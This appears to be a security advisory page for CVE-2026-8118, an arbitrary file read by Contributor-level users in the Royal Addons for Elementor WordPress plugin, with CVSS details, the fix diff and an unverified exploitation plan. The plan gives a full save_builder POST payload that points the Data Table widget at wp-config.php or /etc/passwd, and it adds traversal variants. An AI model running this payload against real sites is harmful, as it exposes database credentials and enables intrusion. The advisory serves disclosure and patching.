CVE-2026-8118

Royal Addons for Elementor – Addons and Templates Kit for Elementor 1.7.1058 - 1.7.1059 - Authenticated (Contributor+) Arbitrary File Read via Data Table Widget CSV File Source

mediumExternal Control of File Name or Path
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.7.1060
Patched in
1d
Time to patch

Description

The Royal Addons for Elementor – Addons and Templates Kit for Elementor plugin for WordPress is vulnerable to Arbitrary File Read in versions 1.7.1058 through 1.7.1059. This is due to the wpr_get_csv_handle() helper (introduced in version 1.7.1058 as part of the patch for CVE-2026-6229) falling back to is_readable() and fopen($source, 'r') on the attacker-controlled settings.table_upload_csv.url value when it does not parse as an HTTP URL, with no allow-list, traversal block, or extension check. This makes it possible for authenticated attackers, with Contributor-level access and above, to save a crafted wpr-data-table widget through Elementor's save_builder endpoint and have the rendered preview return the line-by-line contents of any file readable by the PHP process, including wp-config.php.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions>=1.7.1058 <=1.7.1059
PublishedJune 18, 2026
Last updatedJune 19, 2026
Affected pluginroyal-elementor-addons

What Changed in the Fix

Changes introduced in v1.7.1060

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-8118 ## 1. Vulnerability Summary **CVE-2026-8118** is an **Authenticated (Contributor+) Arbitrary File Read** vulnerability in the Royal Addons for Elementor plugin (versions 1.7.1058 - 1.7.1059). The vulnerability exists within the `Data Table` widget's CSV p…

Show full research plan

Exploitation Research Plan: CVE-2026-8118

1. Vulnerability Summary

CVE-2026-8118 is an Authenticated (Contributor+) Arbitrary File Read vulnerability in the Royal Addons for Elementor plugin (versions 1.7.1058 - 1.7.1059). The vulnerability exists within the Data Table widget's CSV processing logic. Specifically, the helper function wpr_get_csv_handle() (introduced as a partial fix for a previous SSRF/LFI) fails to properly validate the table_upload_csv URL setting. When the provided string does not resolve as a standard HTTP URL, the function falls back to opening it as a local file using fopen(). Because there are no path traversal filters or allow-lists, a user with Contributor-level access can specify sensitive local files (e.g., wp-config.php), which are then parsed and rendered as table data in the Elementor preview or the published post.

2. Attack Vector Analysis

  • Target Endpoint: wp-admin/admin-ajax.php (Action: elementor_ajax) or the REST API equivalent wp-json/elementor/v1/editor/save_builder.
  • Vulnerable Widget: wpr-data-table
  • Trigger Parameter: settings.table_upload_csv.url
  • Authentication: Authenticated (Contributor or higher). Contributors can create posts and edit them with Elementor.
  • Preconditions: The Royal Addons for Elementor plugin must be active, and the user must have access to the Elementor editor.

3. Code Flow

  1. Entry Point: An authenticated user saves an Elementor post containing the wpr-data-table widget.
  2. Configuration: The user sets choose_table_type to pro-cv (defined in Wpr_Data_Table::add_control_choose_table_type()).
  3. Data Persistence: The malicious path (e.g., /etc/passwd) is saved in the table_upload_csv control's url property.
  4. Rendering (Sink): When the widget is rendered (either in the editor preview or front-end), the render() method in modules/data-table/widgets/wpr-data-table.php is executed.
  5. Vulnerable Call: The code calls wpr_get_csv_handle($settings['table_upload_csv']['url']).
  6. The Flaw:
    • The function checks if the URL is valid.
    • If the URL is a local path, wp_remote_get() fails.
    • The code falls back: if ( is_readable( $source ) ) { $handle = fopen( $source, 'r' ); }.
  7. Output: The content of the file handle is iterated line-by-line, split by commas, and wrapped in <td> tags, returning the file contents to the user's browser.

4. Nonce Acquisition Strategy

To save the widget configuration, the Elementor save_builder action requires a valid WordPress nonce.

  1. Identify Shortcode: The plugin uses wpr-data-table.
  2. Setup: Create a dummy post to access the editor.
    wp post create --post_type=post --post_title="Exploit Research" --post_status=publish --post_author=[CONTRIBUTOR_ID]
    
  3. Navigate: Use browser_navigate to the Elementor editor for that post ID: wp-admin/post.php?post=[ID]&action=elementor.
  4. Extract Nonce: Use browser_eval to extract the required nonces from the Elementor configuration object.
    • Action Nonce: browser_eval("window.elementorConfig.nonces.save_builder")
    • Editor Nonce: browser_eval("window.elementorConfig.nonces.elementor_ajax") (if using admin-ajax).

5. Exploitation Strategy

The goal is to update a post's Elementor data to include a wpr-data-table widget that points to wp-config.php.

Step 1: Save the Malicious Widget

Send a POST request to admin-ajax.php to update the post content.

  • URL: http://[target]/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=elementor_ajax
    &_nonce=[ELEMENTOR_AJAX_NONCE]
    &actions={
        "save_builder": {
            "action": "save_builder",
            "data": {
                "status": "publish",
                "elements": [
                    {
                        "id": "exploit-widget-id",
                        "elType": "widget",
                        "widgetType": "wpr-data-table",
                        "settings": {
                            "choose_table_type": "pro-cv",
                            "table_upload_csv": {
                                "url": "/var/www/html/wp-config.php"
                            }
                        }
                    }
                ]
            }
        }
    }
    &post_id=[POST_ID]
    

Step 2: Retrieve the Data

View the post or the Elementor preview to see the rendered table.

  • URL: http://[target]/?p=[POST_ID]
  • Action: Search the HTML response for strings like define( or DB_PASSWORD inside <td> or <tr> elements associated with the wpr-data-table CSS classes.

6. Test Data Setup

  1. User: A user with the contributor role.
  2. Target File: Ensure wp-config.php exists in the standard location or use /etc/passwd for general verification.
  3. Plugin Version: Ensure version 1.7.1059 is installed.

7. Expected Results

  • The HTTP request in Step 1 should return a JSON success message: {"success":true,"data":...}.
  • The front-end view of the post will display a table where each row corresponds to a line in wp-config.php.
  • Example output in HTML:
    <td class="wpr-data-table-column">define('DB_PASSWORD'</td>
    <td class="wpr-data-table-column"> 'your_password');</td>
    

8. Verification Steps

After the exploit, verify the file read via WP-CLI to confirm the path was successfully injected into the post meta:

wp post get [POST_ID] --field=content
# Look for the JSON-encoded Elementor data containing the path

9. Alternative Approaches

  • Path Traversal: If the absolute path is blocked, try relative paths: ../../../../wp-config.php.
  • REST API: Instead of admin-ajax.php, use the wp-json/elementor/v1/editor/save_builder endpoint, which typically uses the X-WP-Nonce header.
  • Preview Mode: Instead of publishing, use the elementor_render_widget action to trigger the file read without modifying the public-facing post content.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Royal Addons for Elementor plugin is vulnerable to an authenticated arbitrary file read via the Data Table widget in versions 1.7.1058 to 1.7.1059. The `wpr_get_csv_handle()` function fails to restrict CSV source paths to the WordPress uploads directory, allowing attackers with Contributor-level access to read sensitive local files like wp-config.php by specifying their paths in the widget settings.

Vulnerable Code

// modules/data-table/widgets/wpr-data-table.php (lines 2010-2022 in v1.7.1059)

	protected function wpr_get_csv_handle( $source ) {
		// ... (remote handling logic) ...

		if ( ! is_readable( $source ) ) {
			return new \WP_Error( 'wpr_csv_local_not_readable', esc_html__( 'Please provide a valid CSV file.', 'wpr-addons' ) );
		}

		$handle = fopen( $source, 'r' );
		if ( false === $handle ) {
			return new \WP_Error( 'wpr_csv_local_open_failed', esc_html__( 'Could not open the CSV file.', 'wpr-addons' ) );
		}

		return $handle;
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1059/admin/includes/wpr-render-templates.php /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1060/admin/includes/wpr-render-templates.php
--- /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1059/admin/includes/wpr-render-templates.php	2026-05-07 10:09:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1060/admin/includes/wpr-render-templates.php	2026-05-15 07:19:52.000000000 +0000
@@ -126,11 +126,14 @@
 			$template_slug = WPR_Conditions_Manager::header_footer_display_conditions($conditions);
 			$template_id = Utilities::get_template_id($template_slug);
 
+			$show_on_canvas = get_post_meta($template_id, 'wpr_header_show_on_canvas', true);
+
 			if ( defined('ICL_LANGUAGE_CODE') ) {
 				$default_language_code = apply_filters('wpml_default_language', null);
 				$current_language_code = apply_filters('wpml_current_language', null);
 
 				if ( $current_language_code && $current_language_code !== $default_language_code ) {
+					$show_on_canvas = 'true';
 					$translated_id = apply_filters('wpml_object_id', $template_id, 'wpr_templates', true, $current_language_code);
 					if ( $translated_id && (int) $translated_id !== (int) $template_id ) {
 						$template_id = $translated_id;
@@ -138,8 +141,6 @@
 				}
 			}
 
-			$show_on_canvas = get_post_meta($template_id, 'wpr_header_show_on_canvas', true);
-
 			// if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && 0 === strpos($template_slug, 'user-header-') ) {
 			if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && !is_null($template_slug) ) {
 				Utilities::render_elementor_template($template_slug, $template_id);
@@ -175,11 +176,14 @@
 			$template_slug = WPR_Conditions_Manager::header_footer_display_conditions($conditions);
 			$template_id = Utilities::get_template_id($template_slug);
 
+			$show_on_canvas = get_post_meta($template_id, 'wpr_footer_show_on_canvas', true);
+
 			if ( defined('ICL_LANGUAGE_CODE') ) {
 				$default_language_code = apply_filters('wpml_default_language', null);
 				$current_language_code = apply_filters('wpml_current_language', null);
 
 				if ( $current_language_code && $current_language_code !== $default_language_code ) {
+					$show_on_canvas = 'true';
 					$translated_id = apply_filters('wpml_object_id', $template_id, 'wpr_templates', true, $current_language_code);
 					if ( $translated_id && (int) $translated_id !== (int) $template_id ) {
 						$template_id = $translated_id;
@@ -187,8 +191,6 @@
 				}
 			}
 
-			$show_on_canvas = get_post_meta($template_id, 'wpr_footer_show_on_canvas', true);
-
 			// if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && 0 === strpos($template_slug, 'user-footer-') ) {
 			if ( !empty($show_on_canvas) && 'true' === $show_on_canvas && !is_null($template_slug) ) {
 				Utilities::render_elementor_template($template_slug, $template_id);
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1059/modules/data-table/widgets/wpr-data-table.php /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1060/modules/data-table/widgets/wpr-data-table.php
--- /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1059/modules/data-table/widgets/wpr-data-table.php	2026-05-07 10:09:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/royal-elementor-addons/1.7.1060/modules/data-table/widgets/wpr-data-table.php	2026-05-15 07:19:52.000000000 +0000
@@ -1834,6 +1834,17 @@
 			}
 
 			$url = $validated_url;
+		} else {
+			$validated_upload_url = $this->wpr_validate_uploaded_csv_url(
+				isset( $settings['table_upload_csv'] ) ? $settings['table_upload_csv'] : []
+			);
+
+			if ( is_wp_error( $validated_upload_url ) ) {
+				echo '<p class="wpr-no-csv-file-found">' . esc_html( $validated_upload_url->get_error_message() ) . '</p>';
+				return \ob_get_clean();
+			}
+
+			$url = $validated_upload_url;
 		}
 
 		if ( ! empty( $url ) ) {
@@ -2010,11 +2021,34 @@
 			return $handle;
 		}
 
-		if ( ! is_readable( $source ) ) {
-			return new \WP_Error( 'wpr_csv_local_not_readable', esc_html__( 'Please provide a valid CSV file.', 'wpr-addons' ) );
+		$canonical_source = realpath( $source );
+		if ( false === $canonical_source ) {
+			return new \WP_Error( 'wpr_csv_local_invalid_path', esc_html__( 'Please provide a valid CSV file.', 'wpr-addons' ) );
+		}
+
+		$uploads = wp_upload_dir();
+		$uploads_base = isset( $uploads['basedir'] ) ? realpath( $uploads['basedir'] ) : false;
+		if ( false === $uploads_base ) {
+			return new \WP_Error( 'wpr_csv_uploads_missing', esc_html__( 'Could not validate the CSV upload directory.', 'wpr-addons' ) );
 		}
 
-		$handle = fopen( $source, 'r' );
+		$normalized_source = wp_normalize_path( $canonical_source );
+		$normalized_uploads_base = trailingslashit( wp_normalize_path( $uploads_base ) );
+		if ( 0 !== strpos( $normalized_source, $normalized_uploads_base ) ) {
+			return new \WP_Error( 'wpr_csv_local_outside_uploads', esc_html__( 'CSV file must be located in the uploads directory.', 'wpr-addons' ) );
+		}
+
+		$sanitized_filename = sanitize_file_name( wp_basename( $normalized_source ) );
+		$file_extension = strtolower( pathinfo( $sanitized_filename, PATHINFO_EXTENSION ) );
+		if ( 'csv' !== $file_extension ) {
+			return new \WP_Error( 'wpr_csv_local_invalid_extension', esc_html__( 'Only CSV files are allowed.', 'wpr-addons' ) );
+		}
+
+		if ( ! is_readable( $canonical_source ) ) {
+			return new \WP_Error( 'wpr_csv_local_not_readable', esc_html__( 'Could not read the CSV file.', 'wpr-addons' ) );
+		}
+
+		$handle = fopen( $canonical_source, 'r' );
 		if ( false === $handle ) {
 			return new \WP_Error( 'wpr_csv_local_open_failed', esc_html__( 'Could not open the CSV file.', 'wpr-addons' ) );
 		}
@@ -2022,6 +2056,47 @@
 		return $handle;
 	}
 
+	protected function wpr_validate_uploaded_csv_url( $media_setting ) {
+		if ( ! is_array( $media_setting ) ) {
+			return new \WP_Error( 'wpr_csv_invalid_upload', esc_html__( 'Please provide a valid CSV file.', 'wpr-addons' ) );
+		}
+
+		$attachment_id = isset( $media_setting['id'] ) ? absint( $media_setting['id'] ) : 0;
+		if ( $attachment_id <= 0 ) {
+			return new \WP_Error( 'wpr_csv_missing_attachment', esc_html__( 'Please select a CSV file from the media library.', 'wpr-addons' ) );
+		}
+
+		$attachment_file = get_attached_file( $attachment_id );
+		if ( ! is_string( $attachment_file ) || '' === trim( $attachment_file ) ) {
+			return new \WP_Error( 'wpr_csv_invalid_attachment', esc_html__( 'Please select a valid CSV file from the media library.', 'wpr-addons' ) );
+		}
+
+		$canonical_attachment_path = realpath( $attachment_file );
+		if ( false === $canonical_attachment_path ) {
+			return new \WP_Error( 'wpr_csv_invalid_attachment_path', esc_html__( 'Could not resolve the selected CSV file.', 'wpr-addons' ) );
+		}
+
+		$uploads = wp_upload_dir();
+		$uploads_base = isset( $uploads['basedir'] ) ? realpath( $uploads['basedir'] ) : false;
+		if ( false === $uploads_base ) {
+			return new \WP_Error( 'wpr_csv_uploads_missing', esc_html__( 'Could not validate the CSV upload directory.', 'wpr-addons' ) );
+		}
+
+		$normalized_attachment_path = wp_normalize_path( $canonical_attachment_path );
+		$normalized_uploads_base = trailingslashit( wp_normalize_path( $uploads_base ) );
+		if ( 0 !== strpos( $normalized_attachment_path, $normalized_uploads_base ) ) {
+			return new \WP_Error( 'wpr_csv_attachment_outside_uploads', esc_html__( 'The selected file must be located in the uploads directory.', 'wpr-addons' ) );
+		}
+
+		$sanitized_filename = sanitize_file_name( wp_basename( $normalized_attachment_path ) );
+		$file_extension = strtolower( pathinfo( $sanitized_filename, PATHINFO_EXTENSION ) );
+		if ( 'csv' !== $file_extension ) {
+			return new \WP_Error( 'wpr_csv_invalid_upload_extension', esc_html__( 'Only CSV files are allowed.', 'wpr-addons' ) );
+		}
+
+		return $canonical_attachment_path;
+	}
+
 	protected function wpr_validate_remote_csv_url( $url ) {
 		if ( ! is_string( $url ) || '' === trim( $url ) ) {
 			return new \WP_Error( 'wpr_csv_missing_url', esc_html__( 'Please provide a CSV URL.', 'wpr-addons' ) );

Exploit Outline

An attacker with Contributor-level privileges can exploit this by creating or editing a post using the Elementor editor. They must add a 'Data Table' widget (`wpr-data-table`) and set the `choose_table_type` setting to `pro-cv`. By crafting a payload for the `table_upload_csv.url` parameter that points to a sensitive local file (e.g., `/etc/passwd` or `../../wp-config.php`), the attacker can save the post via Elementor's `save_builder` endpoint. When the widget is rendered in the post preview or on the front-end, the plugin uses `fopen()` to read the specified file and displays its contents within the table's cells, effectively leaking the file's data to the attacker.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.